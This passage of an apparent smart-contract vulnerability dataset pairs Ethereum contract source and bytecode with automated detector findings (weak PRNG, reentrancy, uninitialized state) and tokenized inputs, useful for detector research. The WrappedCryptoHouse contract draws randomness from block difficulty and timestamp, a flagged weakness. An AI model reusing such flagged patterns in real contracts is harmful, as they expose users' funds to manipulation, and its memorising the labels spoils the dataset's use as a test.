11bc2565b92508383811515610f6657fe5b049150610f7c83610f778685611bc2565b611bea565b90506000811115610f8e576001909101905b60035460ff16821015610fa45760035460ff1691505b819450610fb1565b600094505b50505050949350505050565b6000610fd533600035600160e060020a031916611aa0565b1515610fe057600080fd5b60008211610fed57600080fd5b6005546040805160e260020a633eaf7a03028152600160a060020a03868116600483015291518593929092169163fabde80c916024808201926020929091908290030181600087803b15801561104257600080fd5b505af1158015611056573d6000803e3d6000fd5b505050506040513d602081101561106c57600080fd5b5051101561107957600080fd5b6005546040805160e160020a63776e4b35028152600160a060020a03868116600483015291518593929092169163eedc966a916024808201926020929091908290030181600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d60208110156110f857600080fd5b5051101561110557600080fd5b600654604080517f6275726e000000000000000000000000000000000000000000000000000000008152815190819003600490810182207f695addc900000000000000000000000000000000000000000000000000000000835290820152600160a060020a0386811660248301526044820186905260806064830152600060848301819052925193169263695addc99260c480840193602093929083900390910190829087803b158015610cd257600080fd5b5060045490565b6000806000806111db33600035600160e060020a031916611aa0565b15156111e657600080fd5b6111f287888888610f35565b92506111fe8584611bb2565b6005546040805160e260020a633eaf7a03028152600160a060020a038b8116600483015291519395508593919092169163fabde80c9160248083019260209291908290030181600087803b15801561125557600080fd5b505af1158015611269573d6000803e3d6000fd5b505050506040513d602081101561127f57600080fd5b5051101561128c57600080fd5b6000851161129957600080fd5b600554604080517f2a5b204a000000000000000000000000000000000000000000000000000000008152600160a060020a038a811660048301526024820186905291519190921691632a5b204a9160448083019260209291908290030181600087803b15801561130857600080fd5b505af115801561131c573d6000803e3d6000fd5b505050506040513d602081101561133257600080fd5b50506005546040805160e060020a6329abdeed028152600160a060020a03898116600483015260248201899052915191909216916329abdeed9160448083019260209291908290030181600087803b15801561138d57600080fd5b505af11580156113a1573d6000803e3d6000fd5b505050506040513d60208110156113b757600080fd5b50506000831115611453576113cb87610d07565b6005546040805160e060020a6329abdeed028152600160a060020a0380851660048301526024820188905291519394509116916329abdeed916044808201926020929091908290030181600087803b15801561142657600080fd5b505af115801561143a573d6000803e3d6000fd5b505050506040513d602081101561145057600080fd5b50505b5060019695505050505050565b600061147833600035600160e060020a031916611aa0565b151561148357600080fd5b5060068054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b600054600160a060020a031681565b60006114dc33600035600160e060020a031916611aa0565b15156114e757600080fd5b5060058054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b600061153133600035600160e060020a031916611aa0565b151561153c57600080fd5b600554604080517fa6e9e95f000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301528681166024830152604482018690529151919092169163a6e9e95f9160648083019260209291908290030181600087803b1580156115b357600080fd5b505af11580156115c7573d6000803e3d6000fd5b505050506040513d60208110156115dd57600080fd5b50600195945050505050565b600554604080517f18160ddd0000000000000000000000000000000000000000000000000000000081529051600092600160a060020a0316916318160ddd91600480830192602092919082900301818787803b158015610d6657600080fd5b600061166033600035600160e060020a031916611aa0565b151561166b57600080fd5b6005546040805160e160020a63776e4b35028152600160a060020a03878116600483015291518593929092169163eedc966a916024808201926020929091908290030181600087803b1580156116c057600080fd5b505af11580156116d4573d6000803e3d6000fd5b505050506040513d60208110156116ea57600080fd5b505110156116f757600080fd5b6000821161170457600080fd5b6005546040805160e160020a63776e4b35028152600160a060020a0386811660048301529151919092169163eedc966a9160248083019260209291908290030181600087803b15801561175657600080fd5b505af115801561176a573d6000803e3d6000fd5b505050506040513d602081101561178057600080fd5b50516005546040805160e160020a63776e4b35028152600160a060020a038781166004830152915161180b93929092169163eedc966a916024808201926020929091908290030181600087803b1580156117d957600080fd5b505af11580156117ed573d6000803e3d6000fd5b505050506040513d602081101561180357600080fd5b505184611bb2565b1161181557600080fd5b600554604080517f70598a8e000000000000000000000000000000000000000000000000000000008152600160a060020a03878116600483015260248201869052915191909216916370598a8e9160448083019260209291908290030181600087803b15801561188457600080fd5b505af1158015611898573d6000803e3d6000fd5b505050506040513d60208110156118ae57600080fd5b5050600554604080517fd50b3065000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018690529151919092169163d50b30659160448083019260209291908290030181600087803b15801561191f57600080fd5b505af1158015611933573d6000803e3d6000fd5b505050506040513d602081101561194957600080fd5b5050604080518381529051600160a060020a0380861692908716917fd413867323c389bc9029092b5a63be3af54772049421b8fef0992d6996a9cc5a9181900360200190a35060019392505050565b6005546040805160e260020a633eaf7a03028152600160a060020a0384811660048301529151600093929092169163fabde80c9160248082019260209290919082900301818787803b158015610bba57600080fd5b611a0333600035600160e060020a031916611aa0565b1515611a0e57600080fd5b600654604080517f7f3f81c000000000000000000000000000000000000000000000000000000000815260048101859052600160a060020a0386811660248301526044820185905291519190921691637f3f81c091606480830192600092919082900301818387803b158015611a8357600080fd5b505af1158015611a97573d6000803e3d6000fd5b50505050505050565b600030600160a060020a031683600160a060020a03161415611ac457506001610be9565b600154600160a060020a0384811691161415611ae257506001610be9565b600054600160a060020a03161515611afc57506000610be9565b60008054604080517fb7009613000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301523081166024830152600160e060020a0319871660448301529151919092169263b700961392606480820193602093909283900390910190829087803b158015611b7f57600080fd5b505af1158015611b93573d6000803e3d6000fd5b505050506040513d6020811015611ba957600080fd5b50519050610be9565b80820182811015610be957600080fd5b6000811580611bdf575050808202828282811515611bdc57fe5b04145b1515610be957600080fd5b80820382811115610be957600080fd00a165627a7a723058200d06b38004be41d8ccb0d767c8987a236e6fb76254abdfb62a7a3ff90527412a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2692, 2683, 2050, 2620, 16048, 2050, 26976, 16147, 12376, 2575, 2475, 2063, 2692, 2050, 24434, 2094, 2487, 2063, 2683, 2575, 2050, 22394, 19841, 2575, 17134, 2050, 22932, 2549, 1013, 1013, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1013, 1013, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 2236, 2270, 6105, 2004, 2405, 2011, 1013, 1013, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 2030, 1013, 1013, 1006, 2012, 2115, 5724, 1007, 2151, 2101, 2544, 1012, 1013, 1013, 2023, 2565, 2003, 5500, 1999, 1996, 3246, 2008, 2009, 2097, 2022, 6179, 1010, 1013, 1013, 2021, 2302, 2151, 10943, 2100, 1025, 2302, 2130, 1996, 13339, 10943, 2100, 1997, 1013, 1013, 6432, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,626
0x9571617156d14a79d38562d4348b869b7dcda964
pragma solidity 0.7.6; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface ICryptoHouse { function transfer(address to, uint houseIndex) external; function transferFrom(address from, address to, uint256 tokenId) external; } contract WrappedCryptoHouse is IERC20{ address author; uint256 _totalSupply; ICryptoHouse public token; string constant public name = "WrappedCryptoHouse"; string constant public symbol = "WHOUSE"; uint8 constant public decimals = 6; uint256 constant private token_precision = 1e6; uint256 constant private initial_supply = 0; uint256 constant private wrap_amount = 100 * token_precision; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; event WrapToken(uint256 indexed houseIndex, address indexed fromAddress); event UnWrapToken(uint256 indexed houseIndex, address indexed toAddress); uint[] public nftTokens; function getAllNFTTokens() public view returns (uint[] memory _allNftTokens) { uint[] memory allNftTokens = new uint[](nftTokens.length); for(uint i = 0; i < nftTokens.length; i++) { allNftTokens[i] = nftTokens[i]; } return (allNftTokens); } function refundWrongSendCryptoHouses(uint houseIndex) public{ require(msg.sender == author); token.transfer(author, houseIndex); } function wrapCryptoHouse(uint houseIndex) public { token.transferFrom(msg.sender, address(this), houseIndex); _totalSupply += wrap_amount; _balances[msg.sender] += wrap_amount; nftTokens.push(houseIndex); emit WrapToken(houseIndex, msg.sender); emit Transfer(address(0), msg.sender, wrap_amount); } function unWrapCryptoHouses() public{ require(_balances[msg.sender] >= wrap_amount); _balances[msg.sender] -= wrap_amount; _totalSupply -= wrap_amount; uint houseIndex = swapAndDeleteElement(randomElement()); token.transfer(msg.sender, houseIndex); emit UnWrapToken(houseIndex, msg.sender); emit Transfer(msg.sender, address(0), wrap_amount); } function randomElement() private view returns(uint){ return uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp, nftTokens))) % nftTokens.length; } function swapAndDeleteElement(uint index) private returns(uint _element){ uint element = nftTokens[index]; nftTokens[index] = nftTokens[nftTokens.length - 1]; delete nftTokens[nftTokens.length - 1]; nftTokens.pop(); return element; } constructor() { token = ICryptoHouse(0x3d184e68Cf7D1aCFD78A8bDf656EAc20b8352988); author = msg.sender; _totalSupply = initial_supply; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount); _approve(sender, msg.sender, currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0)); require(recipient != address(0)); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a9059cbb11610071578063a9059cbb14610340578063dd62ed3e1461036c578063e68b09441461039a578063f7ddce17146103b7578063fc0c546a146103d45761010b565b806370a08231146102de578063924e2d481461030457806395d89b411461030c578063a457c2d7146103145761010b565b80632043821b116100de5780632043821b1461023f57806323b872dd1461025e578063313ce5671461029457806339509351146102b25761010b565b806306fdde0314610110578063095ea7b31461018d5780630e1ff22e146101cd57806318160ddd14610225575b600080fd5b6101186103f8565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b9600480360360408110156101a357600080fd5b506001600160a01b038135169060200135610426565b604080519115158252519081900360200190f35b6101d561043c565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102115781810151838201526020016101f9565b505050509050019250505060405180910390f35b61022d6104d2565b60408051918252519081900360200190f35b61025c6004803603602081101561025557600080fd5b50356104d8565b005b6101b96004803603606081101561027457600080fd5b506001600160a01b0381358116916020810135909116906040013561060a565b61029c610660565b6040805160ff9092168252519081900360200190f35b6101b9600480360360408110156102c857600080fd5b506001600160a01b038135169060200135610665565b61022d600480360360208110156102f457600080fd5b50356001600160a01b0316610698565b61025c6106b3565b6101186107e3565b6101b96004803603604081101561032a57600080fd5b506001600160a01b038135169060200135610805565b6101b96004803603604081101561035657600080fd5b506001600160a01b03813516906020013561084d565b61022d6004803603604081101561038257600080fd5b506001600160a01b038135811691602001351661085a565b61022d600480360360208110156103b057600080fd5b5035610885565b61025c600480360360208110156103cd57600080fd5b50356108a6565b6103dc61092e565b604080516001600160a01b039092168252519081900360200190f35b604051806040016040528060128152602001715772617070656443727970746f486f75736560701b81525081565b600061043333848461093d565b50600192915050565b60055460609060009067ffffffffffffffff8111801561045b57600080fd5b50604051908082528060200260200182016040528015610485578160200160208202803683370190505b50905060005b6005548110156104cc57600581815481106104a257fe5b90600052602060002001548282815181106104b957fe5b602090810291909101015260010161048b565b50905090565b60015490565b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd9160648082019260009290919082900301818387803b15801561053157600080fd5b505af1158015610545573d6000803e3d6000fd5b5050600180546305f5e100908101825533600081815260036020526040808220805490940190935560058054948501815581527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db090930186905590519093508492507f0ceb492a73d6f21ab7903f5c9790f8e421e7d1ea729300808ee17bded0d510bc9190a3604080516305f5e1008152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350565b60006106178484846109c5565b6001600160a01b03841660009081526004602090815260408083203384529091529020548281101561064857600080fd5b610655853385840361093d565b506001949350505050565b600681565b3360008181526004602090815260408083206001600160a01b03871684529091528120549091610433918590850161093d565b6001600160a01b031660009081526003602052604090205490565b336000908152600360205260409020546305f5e10011156106d357600080fd5b33600090815260036020526040812080546305f5e0ff19908101909155600180549091019055610709610704610a7c565b610af6565b6002546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb9160448082019260009290919082900301818387803b15801561075f57600080fd5b505af1158015610773573d6000803e3d6000fd5b50506040513392508391507f6a929600d3f4d66b10ae5e098103af41e0390eef032849d60c9edd13d061e2ef90600090a3604080516305f5e1008152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350565b6040518060400160405280600681526020016557484f55534560d01b81525081565b3360009081526004602090815260408083206001600160a01b03861684529091528120548281101561083657600080fd5b610843338585840361093d565b5060019392505050565b60006104333384846109c5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6005818154811061089557600080fd5b600091825260209091200154905081565b6000546001600160a01b031633146108bd57600080fd5b600254600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919093169263a9059cbb92604480830193919282900301818387803b15801561091357600080fd5b505af1158015610927573d6000803e3d6000fd5b5050505050565b6002546001600160a01b031681565b6001600160a01b03831661095057600080fd5b6001600160a01b03821661096357600080fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109d857600080fd5b6001600160a01b0382166109eb57600080fd5b6001600160a01b03831660009081526003602052604090205481811015610a1157600080fd5b6001600160a01b0380851660008181526003602090815260408083208787039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350505050565b600060058054905044426005604051602001808481526020018381526020018280548015610ac957602002820191906000526020600020905b815481526020019060010190808311610ab5575b505093505050506040516020818303038152906040528051906020012060001c81610af057fe5b06905090565b60008060058381548110610b0657fe5b90600052602060002001549050600560016005805490500381548110610b2857fe5b906000526020600020015460058481548110610b4057fe5b600091825260209091200155600580546000198101908110610b5e57fe5b60009182526020822001556005805480610b7457fe5b600190038181906000526020600020016000905590558091505091905056fea26469706673582212200ef33acb9390984a64b936705ecfc9281235fa1c6b98ca2a3a1f8eb052eecbbc64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 28311, 16048, 16576, 16068, 2575, 2094, 16932, 2050, 2581, 2683, 2094, 22025, 26976, 2475, 2094, 23777, 18139, 2497, 20842, 2683, 2497, 2581, 16409, 2850, 2683, 21084, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 8278, 29464, 11890, 11387, 1063, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,627
0x9571cdD8ACB71C83393290F0D63A46173dddE65B
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @title PrivateSaleWithFeeSharing * @notice It handles the private sale for LOOKS tokens (against ETH) and the fee-sharing * mechanism for sale participants. It uses a 3-tier system with different * costs (in ETH) to participate. The exchange rate is expressed as the price of 1 ETH in LOOKS token. * It is the same for all three tiers. */ contract PrivateSaleWithFeeSharing is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; enum SalePhase { Pending, // Pending (owner sets up parameters) Deposit, // Deposit (sale is in progress) Over, // Sale is over, prior to staking Staking, // Staking starts Withdraw // Withdraw opens } struct UserInfo { uint256 rewardsDistributedToAccount; // reward claimed by the sale participant uint8 tier; // sale tier (e.g., 1/2/3) bool hasDeposited; // whether the user has participated bool hasWithdrawn; // whether the user has withdrawn (after the end of the fee-sharing period) } // Number of eligible tiers in the private sale uint8 public constant NUMBER_TIERS = 3; IERC20 public immutable looksRareToken; IERC20 public immutable rewardToken; // Maximum blocks for withdrawal uint256 public immutable MAX_BLOCK_FOR_WITHDRAWAL; // Total LOOKS expected to be distributed uint256 public immutable TOTAL_LOOKS_DISTRIBUTED; // Current sale phase (uint8) SalePhase public currentPhase; // Block where participants can withdraw the LOOKS tokens uint256 public blockForWithdrawal; // Price of WETH in LOOKS for the sale uint256 public priceOfETHInLOOKS; // Total amount committed in the sale (in ETH) uint256 public totalAmountCommitted; // Total reward tokens (i.e., WETH) distributed across stakers uint256 public totalRewardTokensDistributedToStakers; // Keeps track of the cost to join the sale for a given tier mapping(uint8 => uint256) public allocationCostPerTier; // Keeps track of the number of whitelisted participants for each tier mapping(uint8 => uint256) public numberOfParticipantsForATier; // Keeps track of user information (e.g., tier, amount collected, participation) mapping(address => UserInfo) public userInfo; event Deposit(address indexed user, uint8 tier); event Harvest(address indexed user, uint256 amount); event NewSalePhase(SalePhase newSalePhase); event NewAllocationCostPerTier(uint8 tier, uint256 allocationCostInETH); event NewBlockForWithdrawal(uint256 blockForWithdrawal); event NewPriceOfETHInLOOKS(uint256 price); event UsersWhitelisted(address[] users, uint8 tier); event UserRemoved(address user); event Withdraw(address indexed user, uint8 tier, uint256 amount); /** * @notice Constructor * @param _looksRareToken address of the LOOKS token * @param _rewardToken address of the reward token * @param _maxBlockForWithdrawal maximum block for withdrawal * @param _totalLooksDistributed total number of LOOKS tokens to distribute */ constructor( address _looksRareToken, address _rewardToken, uint256 _maxBlockForWithdrawal, uint256 _totalLooksDistributed ) { require(_maxBlockForWithdrawal > block.number, "Owner: MaxBlockForWithdrawal must be after block number"); looksRareToken = IERC20(_looksRareToken); rewardToken = IERC20(_rewardToken); blockForWithdrawal = _maxBlockForWithdrawal; MAX_BLOCK_FOR_WITHDRAWAL = _maxBlockForWithdrawal; TOTAL_LOOKS_DISTRIBUTED = _totalLooksDistributed; } /** * @notice Deposit ETH to this contract */ function deposit() external payable nonReentrant { require(currentPhase == SalePhase.Deposit, "Deposit: Phase must be Deposit"); require(userInfo[msg.sender].tier != 0, "Deposit: Not whitelisted"); require(!userInfo[msg.sender].hasDeposited, "Deposit: Has deposited"); require(msg.value == allocationCostPerTier[userInfo[msg.sender].tier], "Deposit: Wrong amount"); userInfo[msg.sender].hasDeposited = true; totalAmountCommitted += msg.value; emit Deposit(msg.sender, userInfo[msg.sender].tier); } /** * @notice Harvest WETH */ function harvest() external nonReentrant { require(currentPhase == SalePhase.Staking, "Harvest: Phase must be Staking"); require(userInfo[msg.sender].hasDeposited, "Harvest: User not eligible"); uint256 totalTokensReceived = rewardToken.balanceOf(address(this)) + totalRewardTokensDistributedToStakers; uint256 pendingRewardsInWETH = ((totalTokensReceived * allocationCostPerTier[userInfo[msg.sender].tier]) / totalAmountCommitted) - userInfo[msg.sender].rewardsDistributedToAccount; // Revert if amount to transfer is equal to 0 require(pendingRewardsInWETH != 0, "Harvest: Nothing to transfer"); userInfo[msg.sender].rewardsDistributedToAccount += pendingRewardsInWETH; totalRewardTokensDistributedToStakers += pendingRewardsInWETH; // Transfer funds to account rewardToken.safeTransfer(msg.sender, pendingRewardsInWETH); emit Harvest(msg.sender, pendingRewardsInWETH); } /** * @notice Withdraw LOOKS + pending WETH */ function withdraw() external nonReentrant { require(currentPhase == SalePhase.Withdraw, "Withdraw: Phase must be Withdraw"); require(userInfo[msg.sender].hasDeposited, "Withdraw: User not eligible"); require(!userInfo[msg.sender].hasWithdrawn, "Withdraw: Has already withdrawn"); // Final harvest logic { uint256 totalTokensReceived = rewardToken.balanceOf(address(this)) + totalRewardTokensDistributedToStakers; uint256 pendingRewardsInWETH = ((totalTokensReceived * allocationCostPerTier[userInfo[msg.sender].tier]) / totalAmountCommitted) - userInfo[msg.sender].rewardsDistributedToAccount; // Skip if equal to 0 if (pendingRewardsInWETH > 0) { userInfo[msg.sender].rewardsDistributedToAccount += pendingRewardsInWETH; totalRewardTokensDistributedToStakers += pendingRewardsInWETH; // Transfer funds to sender rewardToken.safeTransfer(msg.sender, pendingRewardsInWETH); emit Harvest(msg.sender, pendingRewardsInWETH); } } // Update status to withdrawn userInfo[msg.sender].hasWithdrawn = true; // Calculate amount of LOOKS to transfer based on the tier uint256 looksAmountToTransfer = allocationCostPerTier[userInfo[msg.sender].tier] * priceOfETHInLOOKS; // Transfer LOOKS token to sender looksRareToken.safeTransfer(msg.sender, looksAmountToTransfer); emit Withdraw(msg.sender, userInfo[msg.sender].tier, looksAmountToTransfer); } /** * @notice Update sale phase to withdraw after the sale lock has passed. * It can called by anyone. */ function updateSalePhaseToWithdraw() external { require(currentPhase == SalePhase.Staking, "Phase: Must be Staking"); require(block.number >= blockForWithdrawal, "Phase: Too early to update sale status"); // Update phase to Withdraw currentPhase = SalePhase.Withdraw; emit NewSalePhase(SalePhase.Withdraw); } /** * @notice Remove a user from the whitelist * @param _user address of the user */ function removeUserFromWhitelist(address _user) external onlyOwner { require(currentPhase == SalePhase.Pending, "Owner: Phase must be Pending"); require(userInfo[_user].tier != 0, "Owner: Tier not set for user"); numberOfParticipantsForATier[userInfo[_user].tier]--; userInfo[_user].tier = 0; emit UserRemoved(_user); } /** * @notice Set allocation per tier * @param _tier tier of sale * @param _allocationCostInETH allocation in ETH for the tier */ function setAllocationCostPerTier(uint8 _tier, uint256 _allocationCostInETH) external onlyOwner { require(currentPhase == SalePhase.Pending, "Owner: Phase must be Pending"); require(_tier > 0 && _tier <= NUMBER_TIERS, "Owner: Tier outside of range"); allocationCostPerTier[_tier] = _allocationCostInETH; emit NewAllocationCostPerTier(_tier, _allocationCostInETH); } /** * @notice Update block deadline for withdrawal of LOOKS * @param _blockForWithdrawal block for withdrawing LOOKS for sale participants */ function setBlockForWithdrawal(uint256 _blockForWithdrawal) external onlyOwner { require( _blockForWithdrawal <= MAX_BLOCK_FOR_WITHDRAWAL, "Owner: Block for withdrawal must be lower than max block for withdrawal" ); blockForWithdrawal = _blockForWithdrawal; emit NewBlockForWithdrawal(_blockForWithdrawal); } /** * @notice Set price of 1 ETH in LOOKS * @param _priceOfETHinLOOKS price of 1 ETH in LOOKS */ function setPriceOfETHInLOOKS(uint256 _priceOfETHinLOOKS) external onlyOwner { require(currentPhase == SalePhase.Pending, "Owner: Phase must be Pending"); priceOfETHInLOOKS = _priceOfETHinLOOKS; emit NewPriceOfETHInLOOKS(_priceOfETHinLOOKS); } /** * @notice Update sale phase for the first two phases * @param _newSalePhase SalePhase (uint8) */ function updateSalePhase(SalePhase _newSalePhase) external onlyOwner { if (_newSalePhase == SalePhase.Deposit) { require(currentPhase == SalePhase.Pending, "Owner: Phase must be Pending"); // Risk checks require(priceOfETHInLOOKS > 0, "Owner: Exchange rate must be > 0"); require(getMaxAmountLOOKSToDistribute() == TOTAL_LOOKS_DISTRIBUTED, "Owner: Wrong amount of LOOKS"); require( looksRareToken.balanceOf(address(this)) >= TOTAL_LOOKS_DISTRIBUTED, "Owner: Not enough LOOKS in the contract" ); require(blockForWithdrawal > block.number, "Owner: Block for withdrawal wrongly set"); } else if (_newSalePhase == SalePhase.Over) { require(currentPhase == SalePhase.Deposit, "Owner: Phase must be Deposit"); } else { revert("Owner: Cannot update to this phase"); } // Update phase to the new sale phase currentPhase = _newSalePhase; emit NewSalePhase(_newSalePhase); } /** * @notice Withdraw the total commited amount (in ETH) and any LOOKS surplus. * It also updates the sale phase to Staking phase. */ function withdrawCommittedAmount() external onlyOwner nonReentrant { require(currentPhase == SalePhase.Over, "Owner: Phase must be Over"); // Transfer ETH to the owner (bool success, ) = msg.sender.call{value: totalAmountCommitted}(""); require(success, "Owner: Transfer fail"); // If some tiered users did not participate, transfer the LOOKS surplus to contract owner if (totalAmountCommitted * priceOfETHInLOOKS < (TOTAL_LOOKS_DISTRIBUTED)) { uint256 tokenAmountToReturnInLOOKS = TOTAL_LOOKS_DISTRIBUTED - (totalAmountCommitted * priceOfETHInLOOKS); looksRareToken.safeTransfer(msg.sender, tokenAmountToReturnInLOOKS); } // Update phase status to Staking currentPhase = SalePhase.Staking; emit NewSalePhase(SalePhase.Staking); } /** * @notice Whitelist a list of user addresses for a given tier * It updates the sale phase to staking phase. * @param _users array of user addresses * @param _tier tier for the array of users */ function whitelistUsers(address[] calldata _users, uint8 _tier) external onlyOwner { require(currentPhase == SalePhase.Pending, "Owner: Phase must be Pending"); require(_tier > 0 && _tier <= NUMBER_TIERS, "Owner: Tier outside of range"); for (uint256 i = 0; i < _users.length; i++) { require(userInfo[_users[i]].tier == 0, "Owner: Tier already set"); userInfo[_users[i]].tier = _tier; } // Adjust count of participants for the given tier numberOfParticipantsForATier[_tier] += _users.length; emit UsersWhitelisted(_users, _tier); } /** * @notice Retrieve amount of reward token (WETH) a user can collect * @param user address of the user who participated in the private sale */ function calculatePendingRewards(address user) external view returns (uint256) { if (userInfo[user].hasDeposited == false || userInfo[user].hasWithdrawn) { return 0; } uint256 totalTokensReceived = rewardToken.balanceOf(address(this)) + totalRewardTokensDistributedToStakers; uint256 pendingRewardsInWETH = ((totalTokensReceived * allocationCostPerTier[userInfo[user].tier]) / totalAmountCommitted) - userInfo[user].rewardsDistributedToAccount; return pendingRewardsInWETH; } /** * @notice Retrieve max amount to distribute (in LOOKS) for sale */ function getMaxAmountLOOKSToDistribute() 